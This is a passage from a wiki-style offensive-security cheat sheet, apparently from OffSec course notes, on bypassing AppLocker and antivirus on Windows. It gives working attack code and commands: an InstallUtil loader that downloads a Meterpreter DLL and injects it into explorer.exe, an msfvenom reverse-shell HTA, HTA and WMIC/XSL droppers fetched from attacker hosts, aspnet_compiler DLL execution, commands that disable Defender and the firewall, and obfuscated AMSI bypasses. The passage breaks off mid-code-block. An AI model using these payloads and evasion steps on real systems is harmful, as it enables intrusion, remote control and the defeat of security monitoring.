* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── dancingdogs.agh        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.agh&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The config above just tells &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;: When you encounter a &amp;lt;code&amp;gt;.agh&amp;lt;/code&amp;gt; file, use the &amp;lt;code&amp;gt;BringYourOwnBulder&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;BringYourOwnBuilder.dll&amp;lt;/code&amp;gt; to compile it. &lt;br /&gt;
&lt;br /&gt;
Place a file with the matcing extension inside the folder &amp;lt;code&amp;gt;App_Code&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
App_Code\dancingdogs.agh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now we create a C# clasw library that inherits from &amp;lt;code&amp;gt;System.Web.Compilation.BuildProvider&amp;lt;/code&amp;gt; and ovverides the code &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; method. Any code that is placed in the &amp;lt;code&amp;gt;GenerateCode&amp;lt;/code&amp;gt; executes when the compiler processes the trigger file.&lt;br /&gt;
&lt;br /&gt;
Super simple PoC:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Web.Compilation;&lt;br /&gt;
using System.CodeDom;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
&lt;br /&gt;
namespace BringYourOwnBuilder&lt;br /&gt;
{&lt;br /&gt;
    public class BringYourOwnBuilder : BuildProvider&lt;br /&gt;
    {&lt;br /&gt;
        public override void GenerateCode(AssemblyBuilder ab)&lt;br /&gt;
        {&lt;br /&gt;
            MessageBox.Show(&amp;quot;code execution&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Place the compiled &amp;lt;code&amp;gt;BringYourOwnBuilder&amp;lt;/code&amp;gt; and place it in the &amp;lt;code&amp;gt;bin\&amp;lt;/code&amp;gt; folder. &lt;br /&gt;
&lt;br /&gt;
Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with &amp;quot;code execution&amp;quot; will pop up.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aspnet_compiler.exe  (Microsoft-signed, trusted)&lt;br /&gt;
        │&lt;br /&gt;
        └── reads web.config&lt;br /&gt;
                │&lt;br /&gt;
                └── &amp;lt;buildProviders&amp;gt; -&amp;gt; loads BringYourOwnBuilder.dll&lt;br /&gt;
                            │&lt;br /&gt;
                            └── GenerateCode() -&amp;gt; payload executes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The DLL is loaded by &amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt;, so all code runs inside a trusted process. &lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
